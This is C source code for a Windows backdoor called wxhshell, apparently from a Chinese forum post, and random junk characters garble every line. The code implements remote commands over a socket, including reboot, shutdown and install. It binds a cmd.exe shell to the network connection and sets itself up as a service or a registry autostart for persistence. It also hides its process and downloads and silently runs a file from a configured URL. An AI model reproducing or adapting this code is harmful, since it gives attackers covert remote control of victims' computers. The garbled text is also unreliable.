  else { hRcJ):Wyb  
A'R sy6  
    switch(cmd[0]) { #e|kA&+8M  
  A0sW 9P6F  
  // 帮助 =qQQ^`^F'~  
  case '?': { Z6ex<[`I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?kefRev<#h  
    break; R6.#gb8^oS  
  } +34jot.!  
  // 安装 )BrqE uX@"  
  case 'i': { Gnq~1p5^  
    if(Install()) oob0^}^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j2n@8sCSO  
    else 0t0:soZ x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2xj`cFT  
    break; ts$UC $  
    } pD/S\E0@t  
  // 卸载 H<?yG->  
  case 'r': { 55KL^+-~  
    if(Uninstall()) `t2! M\)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CU&,Kq@  
    else 9xp ;$14  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y)RikF >  
    break; O:R{4Q*5  
    } $QnfpM%+=  
  // 显示 wxhshell 所在路径 0P >dXd)T  
  case 'p': { yln.E vJjD  
    char svExeFile[MAX_PATH]; E:OeU_\  
    strcpy(svExeFile,"\n\r"); AtYYu  
      strcat(svExeFile,ExeFile);  e n":  
        send(wsh,svExeFile,strlen(svExeFile),0); Lj,%pzJ  
    break; @SB+u+mOS  
    } r\`m[Q  
  // 重启 s``L?9  
  case 'b': { ~'mhC46d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LvdMx]*SSr  
    if(Boot(REBOOT)) @h3)! #\ N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>ZjeDG>  
    else {  e:R[  
    closesocket(wsh); UGgi)  
    ExitThread(0); t9{EO#o' k  
    } 4(IP  
    break; C"WZsF^3  
    } ~5529  
  // 关机 J6P Tkm}^  
  case 'd': { |&Wo-;Ud  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y9<Fv|Ric  
    if(Boot(SHUTDOWN)) HPB1d!^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )YnN9"8  
    else { mYX) =B{  
    closesocket(wsh); $Yc9><i  
    ExitThread(0); h^,a 1'  
    } %9M49 s  
    break; x$I>e  
    } sJ=B:3jS0  
  // 获取shell {D< ?.'  
  case 's': { wl9icrR>  
    CmdShell(wsh); " Xc=<rX  
    closesocket(wsh); &9tsk#bA.g  
    ExitThread(0); @RW%EXKt  
    break; 5<poN)"  
  } 2T5ZbXc+x  
  // 退出 *ni|I@8  
  case 'x': { [j39A`t7 o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KG@hjO  
    CloseIt(wsh); uI/ A_  
    break; LLiX%XOh  
    } Yw0@O1Cel  
  // 离开 M`'2 a  
  case 'q': { !hUyX}{`j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <KX#;v!I  
    closesocket(wsh); ,fRb6s-  
    WSACleanup(); gw:BKR'o  
    exit(1); u)-l+U.  
    break; KivzgNz  
        } j*}xe'#  
  } Pip if.  
  } <LY+" Y  
/FY_LM  
  // 提示信息 00+5a TrE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k$c!J'qL&  
} iDr0_y*t  
  } we3t,?`rk7  
 3@*8\  
  return; u#<]>EtbB  
} PX] v"xf  
A:(uK>5{Kk  
// shell模块句柄 *v&RGY[>  
int CmdShell(SOCKET sock) 62) F  
{ v80 e]M!  
STARTUPINFO si; gO%3~f!vY#  
ZeroMemory(&si,sizeof(si)); /<~IKVz\&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t*#T~3p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J5wq}<8  
PROCESS_INFORMATION ProcessInfo; Zh*I0m   
char cmdline[]="cmd"; qM'5cxe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i fUgj8i_  
  return 0; gC_U7aw  
} LJ?7W,?  
h.NA$E?7  
// 自身启动模式 Sj\8$QIXC  
int StartFromService(void) '4EJ_Vhztc  
{ $1YnQgpT  
typedef struct nM#\4Q[}Jh  
{ 3c)xNXq m  
  DWORD ExitStatus; } 2KuY\5\i  
  DWORD PebBaseAddress; uP:'e8  
  DWORD AffinityMask; f|!zjX`  
  DWORD BasePriority; !WN r09`  
  ULONG UniqueProcessId; }tN"C 3)@  
  ULONG InheritedFromUniqueProcessId; Flsf5 Tr0  
}   PROCESS_BASIC_INFORMATION; HXX"B,N  
sy;~(rpg  
PROCNTQSIP NtQueryInformationProcess; f`cO5lP/:)  
0:nyOx(;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $|KbjpQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .3#Tw'% G  
iM-@?!WF  
  HANDLE             hProcess; /OEj]DNY  
  PROCESS_BASIC_INFORMATION pbi; >U z3F7nHi  
X(~NpLR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /KkUCq2A  
  if(NULL == hInst ) return 0; A#}IbcZ|b  
'a}pWkLB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Pq|jK "  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c ;VW>&,B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Onao'sjY  
+m_quQ/ys  
  if (!NtQueryInformationProcess) return 0; 9496ayi  
xpae0vw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ==& =3  
  if(!hProcess) return 0; 09r.0Ks  
^c*'O0y[D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s&4Y+dk93  
CAk.2C/  
  CloseHandle(hProcess); +NQw ^!0qy  
B--`=@IRf"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3LG)s:p$/  
if(hProcess==NULL) return 0; se&:Y&vrc~  
B|tP3<  
HMODULE hMod; cOcm9m#  
char procName[255]; 5=eGiF;0\  
unsigned long cbNeeded; Q/':<QY  
r>V go):s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3/iGSG`  
U.&=b<f(0r  
  CloseHandle(hProcess); ,Ao8QN  
E8/P D  
if(strstr(procName,"services")) return 1; // 以服务启动 7C=t19&R'  
 1r$q $\  
  return 0; // 注册表启动 W<t,Ivg  
} DF<_Ns!  
vb# d%1b5  
// 主模块 UhNeY{6  
int StartWxhshell(LPSTR lpCmdLine) f -bVcWI  
{ Xcb\N  
  SOCKET wsl; {C [7V{4(%  
BOOL val=TRUE; YQ&Xd/z-  
  int port=0; fU,sn5zZ  
  struct sockaddr_in door; l78zS'  
vNP,c]:%  
  if(wscfg.ws_autoins) Install(); Zx@{nVoYe~  
EI'(  
port=atoi(lpCmdLine); N/(&&\3  
OX!9T.j  
if(port<=0) port=wscfg.ws_port; QM OOJA  
n(&6 E3ZcI  
  WSADATA data; ;sDFTKf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Pl U!-7  
{A{=RPL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P'[w9'B  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u>}k+8~  
  door.sin_family = AF_INET; ^8DC W`V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qjuX1 6o  
  door.sin_port = htons(port); F9N)UW:w  
M%Ov6u<I8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { tT'+3  
closesocket(wsl); !$P&`n]@  
return 1; Ie4}F|#=  
} G0^NkH,k  
0GEK xV\F  
  if(listen(wsl,2) == INVALID_SOCKET) { jvA]EN6$;~  
closesocket(wsl); HKV]Rn  
return 1; .7" f~%&oP  
} (h%!Kun  
  Wxhshell(wsl); T0i_X(_  
  WSACleanup(); ]oj 2  
0Db#W6*^  
return 0; *G^ QS"%  
s/8>(-H#  
} iphe0QE[#}  
x,pzX(  
// 以NT服务方式启动 L"9,K8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) npZ=x-ce  
{ jU/0a=h9  
DWORD   status = 0; iXeywO2nP  
  DWORD   specificError = 0xfffffff; 4$C:r&K  
[;%qxAB/_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $3k5hDA0e  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; D3N\$D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |}t[- a  
  serviceStatus.dwWin32ExitCode     = 0; l-g+E{ZM  
  serviceStatus.dwServiceSpecificExitCode = 0; I8rtta  
  serviceStatus.dwCheckPoint       = 0; "aHA6zTB  
  serviceStatus.dwWaitHint       = 0; UoCFj2?C  
s${ew.eW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s0WI93+z  
  if (hServiceStatusHandle==0) return; %Sf%XNtu  
lOYzo  
status = GetLastError(); 1*,f  
  if (status!=NO_ERROR) '(4$h3-gv7  
{ jNBvy1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; EA8K*>'pv  
    serviceStatus.dwCheckPoint       = 0; ^^1rjh1I  
    serviceStatus.dwWaitHint       = 0; _gxI=EYi  
    serviceStatus.dwWin32ExitCode     = status; ED [` Y.;  
    serviceStatus.dwServiceSpecificExitCode = specificError; l@Uo4b^4x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ep)rEq6  
    return; zo4 IY`3  
  } XDRw![H,~  
Z(k7&^d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )OpB\k  
  serviceStatus.dwCheckPoint       = 0; e@|/, W   
  serviceStatus.dwWaitHint       = 0; WW\t<O;z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k` cz$>  
} :+: vBrJm  
eD2u!OKW!  
// 处理NT服务事件,比如:启动、停止 [oqb@J2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =^#^Mq)  
{ b ;A(6^V  
switch(fdwControl) uczOSd  
{ 6qp2C]9=  
case SERVICE_CONTROL_STOP: VPBlU  
  serviceStatus.dwWin32ExitCode = 0; ZUPlMHc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pCb3^# &o  
  serviceStatus.dwCheckPoint   = 0; /Sy:/BQ  
  serviceStatus.dwWaitHint     = 0; WrP 4*6;"  
  { /i.3v45t"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~;> psNy  
  } 6HeZ<.d&  
  return; m_ >+$uL  
case SERVICE_CONTROL_PAUSE: OFH!z{*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?Zu2=<DU  
  break; 9O1#%  
case SERVICE_CONTROL_CONTINUE: C{^U^>bU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HuzHXn)  
  break; Gpv9~&  
case SERVICE_CONTROL_INTERROGATE: (CDwl,  
  break; XqX6UEVR4  
}; 9[31EiT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); apFY//(yu  
} Uskz~~}G  
:.u[^_   
// 标准应用程序主函数 tgz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <Wqk5mR  
{ bLSXQStB  
Cp{ j+Ia  
// 获取操作系统版本 Ky(=O1Ufu  
OsIsNt=GetOsVer(); ixJ%wnz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ':Avh|q3N  
MhT.Zg\  
  // 从命令行安装 ti%uyXfja  
  if(strpbrk(lpCmdLine,"iI")) Install();  # ub!  
OZ2YflT  
  // 下载执行文件 NWx.l8G  
if(wscfg.ws_downexe) { 33/aYy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g<d#zzP"T  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,-({m'  
} :70n%3a  
0H;,~ WY  
if(!OsIsNt) { fiG/ "/u  
// 如果时win9x,隐藏进程并且设置为注册表启动 gN./u   
HideProc(); _\mMgZu  
StartWxhshell(lpCmdLine); "'i" @CR  
} }fzv9$]$  
else rsSE*(T t  
  if(StartFromService()) )}`3haG  
  // 以服务方式启动 {6E&\  
  StartServiceCtrlDispatcher(DispatchTable); r92C^h0  
else 4Og&w]  
  // 普通方式启动 )3 C~kmN7  
  StartWxhshell(lpCmdLine); JrZ"AId2  
>U?U ;i  
return 0; rwYlg:  
}
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只看该作者 1 发表于: 2006-10-10
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